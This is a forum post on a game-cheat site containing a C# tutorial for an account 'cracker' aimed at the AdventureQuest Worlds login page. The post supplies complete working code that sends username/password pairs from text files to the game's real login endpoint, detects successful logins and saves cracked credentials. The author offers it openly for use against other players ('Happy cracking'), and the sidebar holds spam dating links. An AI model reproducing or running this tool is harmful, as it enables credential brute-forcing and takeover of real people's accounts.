Dark Online Games Forums
If you are a registered user please login if not then **** OFF!!!
Dark Online Games Forums
If you are a registered user please login if not then **** OFF!!!
Dark Online Games Forums
Would you like to react to this message? Create an account in a few clicks or log in to continue.


Dark Online Games Forums PH. 2020 Revival!
 
HomeLatest imagesSearchRegisterLog in
Log in
Username:
Password:
Log in automatically: 
:: I forgot my password
Latest topics
» Find Beautiful Girls in your city for night
[C#] Basic AQW Cracker Icon_minitimeSat Jul 06, 2024 6:28 pm by kelfer

» Search Sexy Girls from your city for night
[C#] Basic AQW Cracker Icon_minitimeWed May 22, 2024 5:54 pm by kelfer

» Love for one night - no joke!
[C#] Basic AQW Cracker Icon_minitimeThu May 09, 2024 9:05 am by kelfer

» Premier Сasual Dating - Living Women
[C#] Basic AQW Cracker Icon_minitimeTue Mar 05, 2024 6:21 pm by kelfer

» Alive anyone?
[C#] Basic AQW Cracker Icon_minitimeWed Aug 31, 2022 9:20 pm by †DarkZeroskull†

» Team of programmers will help you earn
[C#] Basic AQW Cracker Icon_minitimeWed Oct 02, 2019 10:16 pm by †DarkZeroskull†

» CrossFire KillMark/KillBadge/Badge Upgrader + VIP HEADSHOT v3.0
[C#] Basic AQW Cracker Icon_minitimeFri Sep 27, 2019 3:12 pm by annelynne

» DARK MYSTIC
[C#] Basic AQW Cracker Icon_minitimeMon Sep 23, 2019 6:01 pm by Mistik

» Wanna meet new friends
[C#] Basic AQW Cracker Icon_minitimeWed Sep 18, 2019 12:32 pm by Mistik

Top posters
†DarkZeroskull† (241)
[C#] Basic AQW Cracker I_vote_lcap[C#] Basic AQW Cracker I_voting_bar[C#] Basic AQW Cracker I_vote_rcap 
vipcheat (137)
[C#] Basic AQW Cracker I_vote_lcap[C#] Basic AQW Cracker I_voting_bar[C#] Basic AQW Cracker I_vote_rcap 
latestcheat1 (126)
[C#] Basic AQW Cracker I_vote_lcap[C#] Basic AQW Cracker I_voting_bar[C#] Basic AQW Cracker I_vote_rcap 
maryann1995 (115)
[C#] Basic AQW Cracker I_vote_lcap[C#] Basic AQW Cracker I_voting_bar[C#] Basic AQW Cracker I_vote_rcap 
EdWaRdEx (114)
[C#] Basic AQW Cracker I_vote_lcap[C#] Basic AQW Cracker I_voting_bar[C#] Basic AQW Cracker I_vote_rcap 
sigoy57 (103)
[C#] Basic AQW Cracker I_vote_lcap[C#] Basic AQW Cracker I_voting_bar[C#] Basic AQW Cracker I_vote_rcap 
jordan05 (55)
[C#] Basic AQW Cracker I_vote_lcap[C#] Basic AQW Cracker I_voting_bar[C#] Basic AQW Cracker I_vote_rcap 
DarkVengeanceSoul (45)
[C#] Basic AQW Cracker I_vote_lcap[C#] Basic AQW Cracker I_voting_bar[C#] Basic AQW Cracker I_vote_rcap 
pagecheaters (34)
[C#] Basic AQW Cracker I_vote_lcap[C#] Basic AQW Cracker I_voting_bar[C#] Basic AQW Cracker I_vote_rcap 
Xtianzkeel (34)
[C#] Basic AQW Cracker I_vote_lcap[C#] Basic AQW Cracker I_voting_bar[C#] Basic AQW Cracker I_vote_rcap 
Search
 
 

Display results as :
 
Rechercher Advanced Search

 

 [C#] Basic AQW Cracker

Go down 
AuthorMessage
†DarkZeroskull†
Dark DeathFreak Supreme Admin
Dark DeathFreak Supreme Admin
†DarkZeroskull†


Male
Number of posts : 241
Age : 28
Location : In DarkBB Dimensions
Warning Level: : [C#] Basic AQW Cracker Ok
Dark Exp : 170
Dark Rep : -4
Registration date : 2009-01-06

[C#] Basic AQW Cracker Empty
PostSubject: [C#] Basic AQW Cracker   [C#] Basic AQW Cracker Icon_minitimeThu Apr 10, 2014 2:03 pm

Heya, inspired by Jadens post I felt like it'd be a shame if I left you guys out on a C# cracker, but lets first explain the concept of a cracker.

What a cracker does, is alike imitating user input, it takes the data you give it and sends it using a POST request. Now what is a POST request? All of you have logged in to a site before, when you enter the information and submit the form, this form sends the POST Data to the file that handles it, in other words the login file. Now it's also possible to write this POST data directly to the file using another program which knows what data to send. When the response is received, the program checks if the login was valid (by looking for a certain word, such as "success", depending on the login of course.), and it then stores it for the user.

Quick tip: If you want to know what POST data is being send normally, and what is received, use something like TamperData in FireFox, or my preference, the Networking Tool in Chromium browsers. Now it's time to decide what site we want to crack, I'll be using AQWorlds in this example, as it doesn't use any encryption methods in the data and is fairly simple. +Most of you are addicted to it so yeah...

This example will be single-threaded although it's quite easy to multi-thread it, it will be reading and writing to and from text files.

What we are going to use for the cracking function is a Boolean method, it's not a real method, but a Boolean is a type of variable that will say either true or false, we will create a web request and then see if it's a succesful login, if it is we return true, else we return false.

AQWorlds takes 2 pieces of data, strUsername and strPassword.

Setting up the project:
- Open your C# IDE.
- Create a new Console application.
- Add these imports to the other imports (top of your code):

Code:
using System.Net;
using System.IO;]

These imports will allow use to create WebRequests, use StreamReaders to read the information from the WebRequests and text files, StreamWriters, etc.

This method will contain an extra few lines of code, unnecessary but handy, that will tell you all the information on the web request, so you can easily see what's going on, handy for debugging.

Cracking Method (Thanks to the MSDN Library for explaining the POST stuff):

Code:
public static Boolean crack(string username, string password)
        {
            string result = null; //This will hold the result from the webpage.
            try //We try to create the request, if not it will throw an exception
            {

                byte[] buffer = Encoding.ASCII.GetBytes("strUsername=" + username + "&strPassword=" + password); //This will hold the information bytes of the POST data
                HttpWebRequest CrackRequest = (HttpWebRequest)WebRequest.Create("http://game.aqworlds.com/game/cf-userlogin.asp"); //We create the request to the login file
                CrackRequest.Method = "POST"; //We define what type of METHOD the request is using, in this case POST, could also be GET for some other thing, but this is a posting method...
                CrackRequest.ContentType = "application/x-www-form-urlencoded"; //Setting the content type
                CrackRequest.ContentLength = buffer.Length; //Setting the content length
                Stream Post = CrackRequest.GetRequestStream(); //Creating the Stream we'll use to write the post data
                Post.Write(buffer, 0, buffer.Length); //Write the post data to the WebRequest
                Post.Close(); //Close the Post stream
                HttpWebResponse CrackResponse = (HttpWebResponse)CrackRequest.GetResponse(); //Get the response

                //This is part of the debug code
                Console.WriteLine(CrackResponse.StatusCode); //Show the Status Code for debugging
                Console.WriteLine(CrackResponse.Server); //Show the name of the server that send the response


                Stream data = CrackResponse.GetResponseStream(); //Get the response stream
                StreamReader datareader = new StreamReader(data); //Create a reader to read the data
                result = datareader.ReadToEnd(); //Read and store the stream data


                //Debug code
                Console.WriteLine("Response:" + result); //Show the response

            }
            catch (Exception ex)
            {
                Console.WriteLine(ex); //Something happened :\
            }

            Boolean cracked = false; //Setting the boolean to false

            if (result.Contains("bSuccess=\"1\"")) //The response contained bSuccess="1", meaning it was successful
            {
                cracked = true; //Set the boolean to true, meaning it's cracked
            }

            return cracked; //Ermahgerd it's cracked

        }

Now that that's done, we can create the code that will loop through the usernames and passwords in the text files, but before we do that we have to create a writing function with which we store the cracked accounts in cracked.txt.

Code:
   public static void write(String path, String line)
        {
        Retry: //In case it was already in use or something we keep trying it again
            try
            {
                using (StreamWriter sw = File.AppendText(path))
                {
                    sw.WriteLine(line); //Write the data
                    sw.Close(); //Close the streamwriter
                }
                

            }
            catch (IOException)
            {
                goto Retry; //Something went wrong, retry.
            }


        }

Now the real cracking and we're done Razz

Code:
String path = Directory.GetCurrentDirectory() + "\\".ToString(); //Path of program, needed to write to the files
            int acracked = 0; //The amount we cracked
            int atries = 0; //The amount of tries
            string username; //The string that holds the username
            string pass; //The string that holds the password

            // Read the usernames and crack them with the given usernames and password
            StreamReader usernames = new StreamReader(path + "usernames.txt"); //The streamreader to read the usernames.txt file
            while ((username = usernames.ReadLine()) != null) //Looping through all the username
            {

                Console.WriteLine("[" + atries + "][" + acracked + "] Cracking: " + username); //Show what username we are currently cracking


                StreamReader passwords = new StreamReader(path + "passwords.txt"); //The streamreader to read all the passwords
                while ((pass = passwords.ReadLine()) != null) //Looping through all the passes
                {

                    Boolean cracked = crack(username, pass); //The crack method we made, entering the username and password of this try and receiving if it's true or false

                    if (cracked) //It's true, we cracked it, using the write method we created earlier we store it in cracked.txt
                    {
                        Console.WriteLine("[CRACKED] " + username + ":" + pass); //Show we cracked it
                        write(path + "cracked.txt", username + ":" + pass); //Write it to the text file
                        acracked++; //Increase the amount of cracked by one
                        goto alreadydone; //It's already done, no need to loop through the other passwords.
                    }
                    else //It failed...
                    {
                        Console.WriteLine("[FAIL] " + username + ":" + pass);
                    }

                }
                alreadydone: //It was already cracked, we go here
                passwords.Close();
                atries++; //Increase the amount of tries

            }
            usernames.Close();

            Console.WriteLine("Done cracking, cracked a total of " + acracked);      
 

Happy cracking, hope you liked the tut, someone requested me to make one a while ago and then I saw Jadens and was like, oh yeah
Back to top Go down
https://darkforumsph.darkbb.com
 
[C#] Basic AQW Cracker
Back to top 
Page 1 of 1

Permissions in this forum:You cannot reply to topics in this forum
Dark Online Games Forums :: Flash Games :: Adventure Quest Worlds-
Jump to: